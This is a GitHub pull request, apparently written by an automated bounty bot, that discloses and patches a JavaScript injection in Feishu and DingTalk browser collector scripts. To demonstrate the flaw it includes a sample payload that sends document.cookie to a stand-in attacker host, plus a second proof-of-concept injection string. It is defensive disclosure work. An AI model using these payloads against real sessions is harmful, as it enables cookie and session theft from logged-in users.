Skip to content

fix(security): JavaScript injection: --target/--name interpolated into page.evaluate in the browser collectors - #213

Open
failsafesecurity wants to merge 1 commit into
titanwings:dot-skillfrom
failsafesecurity:openclaw/fix-javascript-injection-target-name-interpo
Open

failsafesecurity wants to merge 1 commit into
titanwings:dot-skillfrom
failsafesecurity:openclaw/fix-javascript-injection-target-name-interpo

Conversation

@failsafesecurity

Copy link
Copy Markdown

Security fix: JavaScript injection: --target/--name interpolated into page.evaluate in the browser collectors

Severity: HIGH (CVSS 8.4)
CWE: CWE-94
File: tools/dingtalk_auto_collector.py

What this fixes

The browser collectors in tools/feishu_browser.py and tools/dingtalk_auto_collector.py build the JavaScript they hand to Playwright's page.evaluate with an f-string, splicing a caller-supplied name straight into a JavaScript string literal as const target = "{value}";. A value containing a double quote closes that literal early, so the remainder of the value is parsed as JavaScript and runs in the page the collector already has open.

tools/feishu_browser.py:227-269 does this with the --target value inside fetch_messages, and tools/dingtalk_auto_collector.py:595-632 does the same with --name inside collect_messages_browser. Because page.evaluate executes the assembled source in the page context, the injected statements run on the origin of the session the collector is logged into — Feishu or DingTalk — carrying the user's cookies and tokens with them.

Neither value is sanitised or JSON-encoded anywhere along the path, and the sibling page.evaluate calls in each file use static strings, so these two interpolated sites are the only injectable ones.

tools/feishu_browser.py:227 builds messages = page.evaluate(f"""() => {{ const target = "{target_name}"; ... with target_name arriving from --target (main() parses it at line 305 and line 353 passes args.target or "" into fetch_messages). tools/dingtalk_auto_collector.py:595-597 has the identical shape with const target = "{name}";, where name comes from --name (main() line 754) and is passed through collect_all down to collect_messages_browser(name, ...) at line 722. The other page.evaluate calls in these files — feishu_browser.py:143 and :217, dingtalk_auto_collector.py:589 — are static strings, so line 227 and line 595 are the only interpolated evaluate sites in each file.

Playwright evaluates the assembled source in the page context of the authenticated Feishu/DingTalk session. A payload such as ";fetch("https://attacker/?c="+document.cookie);// breaks out of the string literal into the evaluated function body. Driving the real modules unmodified, with only the victim page substituted for a local stand-in that sets document.cookie='sid=[REDACTED] path=/', and target set to x"; document.title = "INJECTED-" + document.cookie; document.body.setAttribute("data-pwn","1"); //, the injected statements execute in the page context: document.title becomes INJECTED-sid=[REDACTED] and the data-pwn` attribute is set. The same primitive is reachable through dingtalk collect_messages_browser. In deployment the page is the live authenticated Feishu/DingTalk origin inside the user's Chrome profile, so the injected code runs same-origin with the victim's session.

Preconditions: An attacker can influence the --target or --name value — for example a colleague name read from an untrusted file or chat, or the SKILL.md workflow that interpolates {name}/{target} into these commands — and the collector is run against a logged-in browser profile.

The change

Changed the page.evaluate call in collect_messages_browser to pass the caller-supplied name and msg_limit as a structured argument object instead of interpolating name into the JavaScript source. The arrow function now reads args.target and args.limit, so quotes/backslashes/statements in name can no longer break out of the JS string literal or execute in the page.

Impact if unpatched

An attacker who can influence the name runs arbitrary JavaScript inside the user's authenticated Feishu or DingTalk session, which is enough to steal messages, documents and session cookies or tokens, or to perform privileged actions as the user. Because the page is the live Feishu/DingTalk origin in the user's own Chrome profile, the injected code inherits that session directly.


Prepared by OpenClaw BountyBot. Finding surfaced by Failsafe Nexus (Pandora) and the patch adversarially reviewed by GLM. Please review carefully — automated patches are a starting point, not a guarantee.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants